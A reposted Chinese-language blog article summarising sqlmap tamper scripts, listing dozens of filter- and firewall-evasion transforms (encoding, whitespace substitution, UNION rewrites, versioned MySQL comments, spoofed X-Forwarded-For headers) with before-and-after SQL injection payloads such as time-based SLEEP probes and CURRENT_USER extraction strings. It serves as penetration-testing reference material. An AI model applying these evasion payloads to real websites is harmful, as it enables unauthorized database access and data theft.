0


sqlmap常用tamper汇总及使用指导

遍历tamper脚本

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

一、编码:

1.1 base64encode.py

base64编码所有字符

("1' AND SLEEP(5)#")

替换后

'MScgQU5EIFNMRUVQKDUpIw=='

1.2 charencode.py

URL编码

SELECT FIELD FROM%20TABLE

替换后

%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

已经测试过的数据库:Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

1.3 chardoubleencode.py

二次URL编码(不处理已编码的)

SELECT FIELD FROM%20TABLE

替换后

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

1.4 charunicodeencode.py

unicode编码

SELECT FIELD%20FROM TABLE

替换后

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

  •  必要条件:ASP,ASP.NET    
    
  •  使用数据库:Microsoft SQL Server 2000    
    
  •  Microsoft SQL Server 2005    
    
  •  MySQL 5.1.56    
    
  •  PostgreSQL 9.0.3
    

1.5 charunicodeescape.py

url解码中的%篡改成\

1.6 htmlencode.py

html编码


二、空格过滤

2.1 overlongutf8.py

空格替换为%C0%A0

2.2 space2comment.py

空格替换成/**/

'SELECT id FROM users'

替换后

'SELECT//id//FROM/**/users'

2.3 space2morecomment.py

空格替换成/_/

已经测试过的数据库:mysql5.0 and 5.5

'SELECT id FROM users'

替换后

'SELECT/_/id/_/FROM/_/users'

2.4 space2mssqlblank.py

将空格替换成随机的以下字符(mssql)

'%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'

'SELECT id FROM users'

替换后

'SELECT%0Did%0DFROM%04users'

适用数据库:Microsoft SQL Server

已经测试过的数据库:sql server 2000 sql server 2005

2.5 space2mssqlhash.py

将空格替换成%23%0A

适用数据库:mssql mysql

2.6 space2mysqlblank.py

作用:空格替换其它空白符号(mysql)

SELECT id FROM users

替换后

SELECT%0Bid%0BFROM%A0users

2.7 space2mysqldash.py

作用:替换空格字符(' ')(' – ')后跟一个破折号注释一个新行(' n')

('1 AND 9227=9227')

替换后

'1--%0AAND--%0A9227=9227'

2.8 space2plus.py

将空格替换成+

('SELECT id FROM users')

替换后

'SELECT+id+FROM+users'

2.9 space2randomblank.py

将空格替换成以下随机的字符

"%09", "%0A", "%0C", "%0D"

测试过的数据库:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

2.10 space2hash.py

作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

'1 AND 9227=9227'

替换后

'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'


三、union关键词替换

3.1 0eunion.py

使用e0UNION替换UNION

已经测试过的数据库:Mysql,Mssql

3.2 dunion.py

将UNION换成DUNION

必要条件:Oracle

3.3 misunion.py

UNION篡改为-.1UNION

3.4 unionalltonnion.py

将union all select 替换成union select

'-1 UNION ALL SELECT'

替换后

'-1 UNION SELECT'

3.5 unionalltounion.py

替换UNION ALL SELECT 为UNION SELECT

('-1 UNION ALL SELECT')

替换后

'-1 UNION SELECT'


四、符号

4.1 apostrophemask.py

把双引号替换为单引号,将'替换成UTF-8url编码的%EF%BC%87

4.2 apostrophenullencode.py

将'替换成%00%27

("1 AND '1'='1")

替换后

'1 AND %00%271%00%27=%00%271'

4.3 between.py

将>字符替换为NOT BETWEEN 0 AND

将=字符替换为BETWEEN # AND # (这个#看下面的例子)

'1 AND A = B--'

替换后

'1 AND A BETWEEN B AND B--'

  •  已经测试过的数据库:Microsoft SQL Server 2005    
    
  •  MySQL 4, 5.0 and 5.5    
    
  •  Oracle 10g    
    
  •  PostgreSQL 8.3, 8.4, 9.0
    

4.4 greatest.py

使用greatest替换>

('1 AND A > B')

替换后

'1 AND GREATEST(A,B+1)=A'

  •  已经测试过的数据库:MySQL 4, 5.0 and 5.5    
    
  •  Oracle 10g    
    
  •  PostgreSQL 8.3, 8.4, 9.0
    

4.5 symboliclogical.py

将and和or的逻辑运算符分别替换为(&&和||)

"1 AND '1'='1"

替换后

"1 %26%26 '1'='1"

4.6 bluecoat.py

将sql语句后的空格字符替换为%09,LIKE替换字符=

已经测试过的数据库:mysql5.1之前

4.7 commalesslimit.py

替换字符的位置

'LIMIT 2, 3'

替换后

'LIMIT 3 OFFSET 2'

必要条件:mysql

已经测试过的数据库:mysql5.0,mysql5.5

4.8 concat2concatws.py

将concat(a,b)替换成concat_ws(mid(char(0),0,0),a,b)

'CONCAT(1,2)'

替换后

CONCAT_WS(MID(CHAR(0),0,0),1,2)

必要条件:mysql

已经测试过的数据库:mysql5.0

4.9 equaltolike.py

将=篡改成LIKE

SELECT * FROM users WHERE id=1

替换成

SELECT * FROM users WHERE id LIKE 1

已经测试过的数据库:Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

4.10 equaltorlike.py

将=篡改成RLIKE

4.11 ifnull2ifisnull.py

作用:绕过对 IFNULL 过滤。

('IFNULL(1, 2)')

替换后

'IF(ISNULL(1),2,1)'


五、特殊绕过

5.1 randomcase.py

随机大小写

'function()'

替换后

'FuNcTiOn()'

5.2 lowercase.py

将字符转换为小写

5.3 uppercase.py

将关键字符替换成大写

'insert'

替换后

'INSERT'

  •  已经测试过的数据库:Microsoft SQL Server 2005    
    
  •  MySQL 4, 5.0 and 5.5    
    
  •  Oracle 10g    
    
  •  PostgreSQL 8.3, 8.4, 9.0
    

5.4 multiplespaces.py

在sql关键字周围添加多个空格

'1 UNION SELECT foobar'

替换后

'1 UNION SELECT foobar'

5.5 percentage.py

在每一个字符前面添加一个百分比符号,asp语言允许

'SELECT FIELD FROM TABLE'

替换后

'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'

5.6 sp_password.py

将sp_password附加到有效负载的末尾,用来混淆

'1 AND 9227=9227-- '

替换后

'1 AND 9227=9227-- sp_password'

必要条件:mssql

5.7 varnish.py

附加一个HTTP头来 X-originating-IP = "127.0.0.1" 来绕过防火墙

5.8 xforwardedfor.py

附加一个虚假的HTTP头“X-Forwarded-For”

headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

5.9 unmagicquotes.py

作用:宽字符绕过 GPC addslashes

1′ AND 1=1

替换后

1%bf%27 AND 1=1--

5.10 appendnullbyte.py

作用:在有效负荷结束位置加载零字节字符编码(Microsoft Access数据库)

('1 AND 1=1')

替换后

'1 AND 1=1%00'


六、注释绕过

6.1 randomcomments.py

用/**/分割sql关键字

'INSERT'

替换成

'I//NS//ERT'

6.2 halfversionedmorekeywords.py

在每个关键字之前添加mysql版本注释

"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"

替换成

"value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa"

必要条件:mysql<5.1

已经测试过的数据库:mysql4.0.18,5.0.22

6.3 modsecurityversioned.py

作用:过滤空格,包含完整的查询版本注释

('1 AND 2>1--')

替换后

'1 /!30874AND 2>1/--'

6.4 modsecurityzeroversioned.py

作用:包含了完整的查询与零版本注释

('1 AND 2>1--')

替换后

'1 /!00000AND 2>1/--'

6.5 versionedkeywords.py

作用:对不是函数的关键字进行注释绕过

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

替换后

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

6.6 versionedmorekeywords.py

作用:注释每一个关键字包括函数关键字

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

替换后

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#


本文转载自: https://blog.csdn.net/Thunderclap_/article/details/129047756
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。

“sqlmap常用tamper汇总及使用指导”的评论:

还没有评论